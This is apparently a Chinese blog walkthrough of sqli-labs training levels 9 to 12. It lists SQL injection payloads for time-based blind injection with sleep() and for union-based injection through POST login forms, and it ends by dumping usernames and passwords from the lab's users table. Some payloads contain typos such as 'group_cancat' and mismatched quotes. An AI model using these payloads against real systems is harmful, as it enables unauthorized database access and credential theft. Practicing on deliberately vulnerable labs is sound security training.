sqli-labs靶场 Pass09-12通关秘诀(详解版)

关卡(类型):特点

Less-09:单引号时间盲注

条件:无回显,也无正确错误的显示,我们使用时间盲注。可以通过回显时间进行判断。

sleep() 网页延迟n秒后,输出结果

1. 判断是否存在漏洞

?id=1' and sleep(5) --+

延迟时间在5s以上,说明存在sql注入

2. 爆破数据库名长度

?id=1' and if(length(database())=8,sleep(4),1)--+

Less-10:双引号时间盲注

1. 判断是否存在漏洞

?id=1” and 1=1 --+

?id=1” and 1=2 --+

页面无回显,也无报错,可以使用时间盲注。

2.判断数据库

?id=1"  and if(length(database())=8,sleep(4),1) --+

数据库有八位。

3. 判断数据库名字

?id=1" and if(substr(database(),1,1)='s',sleep(4),1) --+

第一位:s

?id=1” and if(ascii(substr(database(),1,1))=115,sleep(4),1) --+

第一位的ascii值是:115

最终,猜解用户名为: security

4. 判断数据库下表的数量

?id=1" and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(4),1) --+

5. 判断数据库下表的名称长度

#第一个表

?id=1” and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(4),1) --+

#第二个表

?id=1” and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(4),1) --+

Less-11(POST型单引号的报错注入):

方法:联合查询

1.判断注入点

输入用户名密码,打开bp进行抓包。

将抓到的包发送到repeater模块

首先猜测注入点在用户名上,判断闭合的方式是单引号,还是其他的。用单引号闭合时回显正常。

用双引号闭合时没用,回显,可知是用单引号闭合的。

2.判断列数

可知有两列,接下来我们就可用联合查询了。判断联合查询的回显是否正常。

3.判断数据库表名

$admin’and 1=2 union select 1,database()

数据库名是“security”

数据库表名有四个;

5.判断字段名

admin' and 1=2 union select 1,group(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+

字段名有id,usename,password

6.查询字段下数据

' and 1=2 union select 1,group_concat(username,"-",password) from users --+

注:为了防止数据太紧凑,可以加一个“-”,方便查看。

Less-12:POST型的双引号加小括号的联合注入

1.判断注入点

输入用户名密码,打开bp进行抓包。

将抓到的包发送到repeater模块

首先猜测注入点在用户名上,判断闭合的方式是单引号,还是其他的。

用双引号和括号闭合时回显正常。

2.判断列数

“) order by 2

可知有两列,接下来我们就可用联合查询了。判断联合查询的回显是否正常。

3.判断数据库表名

$admin’and 1=2 union select 1,database()

数据库名是“security”

$admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

数据库表名有四个;

5.判断字段名

admin' and 1=2 union select 1,group_cancat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+

字段名有id,usename,password

6.查询字段下数据

' and 1=2 union select 1,group_concat(username,"-",password) from users --+

注:为了防止数据太紧凑,可以加一个“-”,方便查看。

(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值